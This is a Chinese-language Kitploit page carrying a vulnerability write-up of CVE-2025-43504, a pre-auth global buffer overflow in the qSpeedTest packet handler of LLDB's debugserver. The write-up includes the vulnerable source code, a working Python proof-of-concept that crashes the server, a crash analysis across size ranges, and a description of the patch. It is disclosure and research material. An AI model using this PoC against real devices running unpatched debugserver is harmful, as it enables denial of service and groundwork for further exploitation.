Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-43504 — 对CVE-2025-43504的技术深度剖析,这是LLDB的debugserver中一个针对iOS的远程预认证全局缓冲区溢出漏洞,包含PoC代码和利用分析。 | Kitploit
工具/GitHubGitHub/calysteon/cve-2025-43504
iOS安全漏洞分析漏洞利用调试器论文与研究学习与教育二进制利用
GitHubcalysteon/cve-2025-43504

CVE-2025-43504

对CVE-2025-43504的技术深度剖析,这是LLDB的debugserver中一个针对iOS的远程预认证全局缓冲区溢出漏洞,包含PoC代码和利用分析。

查看仓库
59个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

当好用的 /bin 变坏:LLDB 的 debugserver 中存在一个远程预认证缓冲区溢出漏洞


简介

小时候,我总喜欢在当地沃尔玛翻找 DVD 箱子。我发现很多相同的电影都堆在上面,但如果你真的往深处翻,就能找到更有意思、更小众的片子。

当一个程序发生缓冲区溢出时,基本上就是你在翻它的“打折箱”。取决于你翻得多深,那些 DVD——或者说,内存中被覆盖的结构——会随之改变。

今天要说的“打折箱”是 CVE-2025-43504:我在 LLDB 的 debugserver 中发现的一个远程预认证全局缓冲区溢出漏洞。

我们是如何走到这一步的?

在应用程序开发过程中,开发者常常需要在物理 iOS 设备上调试他们的应用。为此,Xcode 会在目标 iPhone 上挂载一个开发者磁盘映像,然后与之配对。

配对完成后,macOS 主机就可以通过安装到客户端上的 debugserver 与 iOS 客户端通信。现在,任何能够与设备上的 debugserver 建立 GDB 远程会话的客户端,都可以访问 qSpeedTest 处理程序,并触发易受攻击的缓冲区溢出。

让我们看看 Xcode 26.1 安全发布页面,以更好地了解苹果是如何对 CVE-2025-43504 进行分类的:

CVE-2025-43504

由于现代软件缓解措施,苹果认为缓冲区溢出主要是拒绝服务问题,而不是损坏原语。正如我们今天将要探讨的那样,这通常是正确的,因为攻击者需要克服几个障碍,并且很可能需要将此漏洞与另一个漏洞结合才能实现任意代码执行。

向前一小步,Pwn 界的一大步

如果你想在修补前的版本中试验 debugserver,请使用以下提交或 ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de 之前的任何提交:

root@kitploit:~
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c

你需要一个更大的调试器

在 RNBRemote.cpp 打补丁之前,任何能够连接到 iOS 设备上 debugserver 的远程用户都可以发送一个预认证的 qSpeedTest 数据包到 RNBRemote::HandlePacket_qSpeedTest,并损坏 debugserver 全局数据段中的相邻结构。

然而,有一个重要的限制:我们只能控制损坏的长度。有效载荷的内容固定为连续的 'a' 字符。虽然学生们可能喜欢持续的高分,但此溢出的实际效用受到极大限制,因为我们无法控制实际写入的字节——只能控制 'a' 洪流的长度。

现在,我们来看看 RNBRemote::HandlePacket_qSpeedTest 的内部结构,以确切了解发生了什么:

root@kitploit:~
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
  p += strlen("qSpeedTest:response_size:");
  char *end = NULL;
  errno = 0;
  // 我们控制 response_size 的长度
  uint64_t response_size = ::strtoul(p, &end, 16); 
  if (errno != 0)
    return HandlePacket_ILLFORMED(
        __FILE__, __LINE__, p,
        "Didn't find response_size value at right offset");
  else if (*end == ';') {
    static char g_data[4 * 1024 * 1024 + 16];
    strcpy(g_data, "data:");
    // 用 'a' 溢出 g_data 发生在这里
    memset(g_data + 5, 'a', response_size);
    g_data[response_size + 5] = '\0';
    return SendPacket(g_data);
  } else {
    return SendErrorPacket("E79");
  }
}

RNBRemote::HandlePacket_qSpeedTest() 的作用是处理传入的 qSpeedTest:response_size:<hex>; 数据包,而无需对能够与 iOS 设备上 debugserver 二进制通信的远程用户进行身份验证。

然而,一旦远程用户能够向 debugserver 发送一个 qSpeedTest:response_size:<hex>; 数据包,debugserver 在处理用户提供的 response_size 之前不会进行任何身份验证检查。因此,任何能够与挂载了开发者磁盘映像的 iOS 设备通信的用户,都可以通过一个 qSpeedTest:response_size:<hex>; 数据包溢出 debugserver。

只管游啊游啊游

现在我们到达了易受攻击的函数 RNBRemote::HandlePacket_qSpeedTest(),让我们来研究溢出究竟是如何发生的。首先,数据包 qSpeedTest:response_size:<hex>; 中用户提供的大小 <hex> 被提取并存储到变量 response_size 中:

root@kitploit:~
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);

如果解析成功且下一个字符是分号,则初始化一个函数局部静态的 4 MiB + 16 字节缓冲区 g_data,并以 ASCII 头部 "data:" 作为种子:

root@kitploit:~
if (errno != 0)
  return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
                                "Didn't find response_size value at right offset");
else if (*end == ';') {
  static char g_data[4 * 1024 * 1024 + 16];
  strcpy(g_data, "data:");

哦不,我又来了一次

综上所述,memset 使用用户控制的 response_size 值作为 'a' 的数量,填充静态的 4 MiB + 16 字节缓冲区 g_data:

root@kitploit:~
  // 用 'a' 溢出 g_data 发生在这里
  memset(g_data + 5, 'a', response_size);
  g_data[response_size + 5] = '\0';

因此,每当远程 LLDB 客户端发送一个 qSpeedTest:response_size:<hex>; 数据包,且 response_size 大于 4 MiB + 16 字节缓冲区时,就会发生缓冲区溢出,并损坏存储在 debugserver 全局数据段 (.bss) 中的相邻全局变量。

当好工具变坏时

现在我们了解了溢出背后的架构,接下来让我们深入探讨该漏洞的实际机制。首先,让我们使用以下 Python 程序来探索通过 g_data 溢出获得的损坏原语:

root@kitploit:~
import argparse, socket

def frame(payload: bytes) -> bytes:
    return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))

def send_one(host: str, port: int, resp_hex: str):
    payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
    pkt = frame(payload)
    s = socket.create_connection((host, port), timeout=5.0)
    s.settimeout(1.5)
    try:
        # 发送超大 qSpeedTest
        s.sendall(pkt)
        try:
            _ = s.recv(1)  # ACK (尽力而为)
        except Exception:
            pass

        # 可选的小推动以测试指针使用
        try:
            s.sendall(frame(b"?"))
            _ = s.recv(1)
        except Exception:
            pass

    finally:
        try: s.close()
        except Exception: pass

def main():
    ap = argparse.ArgumentParser(description="发送单个 qSpeedTest 数据包,带有指定的 response_size")
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=1234)
    ap.add_argument("--size", required=True,
                    help="response_size 的十六进制字符串(无 0x 前缀),例如 40100a 或 500000")
    args = ap.parse_args()

    print(f"[i] 发送 qSpeedTest:response_size:0x{args.size} 到 {args.host}:{args.port}")
    send_one(args.host, args.port, args.size)
    print("[i] 完成。如果 debugserver 崩溃,请检查日志中的 SIGSEGV/SIGBUS 和故障地址。")

if __name__ == "__main__":
    main()

response_size 0x4004AB:无崩溃

启动 debugserver 后,我们运行以下 python3 命令,并提供一个 response_size 为 4004AB:

root@kitploit:~
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB

我们注意到 debugserver 没有崩溃,正常返回:

无崩溃

虽然我们技术上是越界了,但 g_data 以 \0 字节终止,所以相邻的日志函数指针 g_log_callback 只被一个 NULL 字节覆盖,整个指针保持为 NULL。

response_size 0x4004AC - 0x40052B:首次总线错误

启动 debugserver 后,我们运行以下 python3 命令,并提供一个 response_size 为 0x4004AC:

root@kitploit:~
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC

天哪!

首次总线错误

通过多提供一个字节,我们越过了 NULL 尾部,最终解引用相邻的 g_log_callback 指针,其值为 0x61,导致崩溃。现在,让我们每次将 --size 参数递增一,看看会发生什么:

溢出延时摄影

如我们所见,现在我们可以控制 g_log_callback 的值。嗯,部分是控制,我们实际上只能控制 g_log_callback 中有多少个字节等于 0x61。

我们可以在 _DNBLogVAPrintf 中看到这一点:

root@kitploit:~
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
                                   va_list args) {
  static std::recursive_mutex g_LogThreadedMutex;
  std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);

  if (g_log_callback)
    g_log_callback(g_log_baton, flags, format, args);
}

由于 g_log_callback 非 NULL,互斥锁被锁定并继续调用我们损坏的指针,导致崩溃。现在,在 response_size 达到 0x4004B3 之后,我们不再看到崩溃地址或相应堆栈跟踪有任何实际变化,直到 response_size 增加 0x7F 偏移量之后。从逻辑上讲,这是合理的,因为一旦 g_log_callback 指针损坏,其他日志结构中的后续损坏就会变得无关紧要,因为初始解引用 g_log_callback 就会导致崩溃。

有趣的是,在修补前的 macOS 生产版本上,我能够利用这种部分指针控制来覆盖内存中的各种用户空间指针:

root@kitploit:~
0x0000000105006169
0x0000000103006169
0x0000000a0a006169
0x00000009d8006169
0x0000000103006169
0x0000000734006169
0x0000000100006169

出于某种原因,每个地址的尾随字节总是递增 0x8 字节。然而,如果我们能够解决由终止的 0x6169 字节造成的对齐问题,并且能够以某种方式预测和控制被覆盖指针解引用的数据,那么理论上我们将能够重定向控制流,并最终获得代码执行。

response_size 0x40052C - 0x402C62:abort() 错误

我们之前简要讨论了在解引用损坏的 g_log_callback 指针之前互斥锁的锁定。现在,在 response_size 为 0x40052C 时,实际的互斥锁本身被损坏:

abort() 错误

我们注意到问题出现在 _DNBLogVAPrintf 执行 lock_guard 构造时:

root@kitploit:~
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);

根据堆栈跟踪,我们看到 lock_guard 在调用 __m_.lock 时出错:

root@kitploit:~
    31│   _LIBCPP_HIDE_FROM_ABI explicit lock_guard(mutex_type& __m) _LIBCPP_THREAD_SAFETY_ANNOTATION(acquire_capability(__m))
    32│       : __m_(__m) {
    33│     __m_.lock();                                                                                
      │          ▲
    34│   }
    35│

我是一个函数,在扮演另一个函数,伪装成另一个函数

进一步来看,让我们看看 std::recursive_mutex 的函数定义:

root@kitploit:~
void recursive_mutex::lock() {
  int ec = __libcpp_recursive_mutex_lock(&__m_);
  if (ec)
    std::__throw_system_error(ec, "recursive_mutex lock failed");
}

它似乎是 __libcpp_recursive_mutex_lock 的一个包装:

root@kitploit:~
inline _LIBCPP_HIDE_FROM_ABI _LIBCPP_NO_THREAD_SAFETY_ANALYSIS int
__libcpp_recursive_mutex_lock(__libcpp_recursive_mutex_t* __m) {
  return pthread_mutex_lock(__m);
}

然后它又是 pthread_mutex_lock 的一个包装:

root@kitploit:~
PTHREAD_NOEXPORT_VARIANT
int
pthread_mutex_lock(pthread_mutex_t *mutex)
{
	return _pthread_mutex_lock(mutex, false);
}

它又是 _pthread_mutex_lock 的一个包装……但我们没必要深入那么多。

因为 pthread_mutex_t 指针被我们的溢出损坏,pthread_mutex_lock 抛出 std::system_error("recursive_mutex lock failed"),然后程序抛出 abort() 并终止。

由于程序中止,利用位于 0x40052C 和 0x402C62 之间的 response_size 变得非常具有挑战性,因为我们正在损坏一个同步原语,并且 macOS 会执行额外的检查。

response_size 0x402C63 及以上:最终总线错误

现在,当我们使用 response_size 为 0x402C63 或更大时,CPU 在 RNBRemote::HandlePacket_qSpeedTest 中出错,因为 memset 一旦越过边界进入内核在内存中 .bss 段之后放置的任何守卫页或未映射区域:

最终总线错误

这种最后的溢出变体不太有趣,因为没有直接的方法来控制程序执行。

打上补丁(打上它)

现在我们已经介绍了这个问题本身,让我们看看苹果是如何 修补 它的:

补丁

根据补丁描述:

将此分配改为堆上分配,并施加可测试的最大大小(目前为 4MB)。

我们看到两个主要变化:

  1. 分配在堆上,而不是在 debugserver 的全局数据段 (.bss) 中
  2. 对分配施加了 4MB 的最大大小限制,而之前没有进行任何大小检查。

再见,感谢所有的鱼

鉴于苹果软件和系统背后广泛闭源的生态系统,可靠地发现和理解软件缺陷始终是一个挑战。

然而,苹果所依赖的总是存在开源依赖,如果你能在其中一个依赖中找到问题,那么下游很可能会受到影响。

祝狩猎顺利,并且请务必负责任地披露你可能发现的任何问题 😉

下载工具